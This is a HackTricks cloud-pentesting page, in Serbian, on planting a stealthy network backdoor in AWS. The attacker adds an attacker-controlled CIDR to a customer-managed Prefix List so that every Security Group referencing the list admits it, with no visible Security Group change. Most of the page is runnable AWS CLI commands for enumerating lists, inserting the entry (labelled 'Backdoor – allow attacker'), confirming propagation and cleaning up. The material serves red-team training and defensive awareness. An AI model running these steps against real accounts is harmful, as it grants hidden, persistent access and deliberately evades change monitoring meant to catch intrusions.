AWS - Security Group Backdoor via Managed Prefix Lists

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Sažetak

Zloupotrebite customer-managed Prefix Lists da kreirate prikriveni put pristupa. Ako pravilo Security Group (SG) referencira managed Prefix List, svako ko ima mogućnost da izmeni tu listu može tiho dodati attacker-controlled CIDRs. Svaki SG (i potencijalno Network ACL ili VPC endpoint) koji referencira listu odmah dozvoljava nove opsege bez vidljive promene u SG-u.

Uticaj

  • Instant proširenje dozvoljenih IP opsega za sve SG-ove koji referenciraju prefix listu, zaobilaženje kontrola promena koje nadgledaju samo izmene SG-a.
  • Omogućava postojane ingress/egress backdoore: držite maliciozni CIDR sakriven u prefix listi dok pravilo SG izgleda nepromenjeno.

Zahtevi

  • IAM permissions:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (to identify attached SGs)
  • Optional: ec2:CreateManagedPrefixList if creating a new one for testing.
  • Okruženje: najmanje jedno pravilo SG-a koje referencira ciljnu customer-managed Prefix List.

Varijable

REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Koraci napada

  1. Enumeriši kandidatske prefix lists i njihove korisnike
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Koristite aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID da potvrdite koja SG pravila zavise od liste.

  1. Dodajte CIDR napadača u prefix listu
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Potvrdite propagaciju u security groups
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

Saobraćaj sa $ENTRY_CIDR je sada dozvoljen svuda gde se referencira prefix list (obično u outbound pravilima na egress proxy-ima ili u inbound pravilima na deljenim servisima).

Dokazi

  • get-managed-prefix-list-entries prikazuje CIDR napadača i opis.
  • describe-security-group-rules i dalje prikazuje originalno SG pravilo koje referencira prefix listu (nije zabeležena izmena SG-a), ipak saobraćaj iz novog CIDR-a uspeva.

Čišćenje

aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks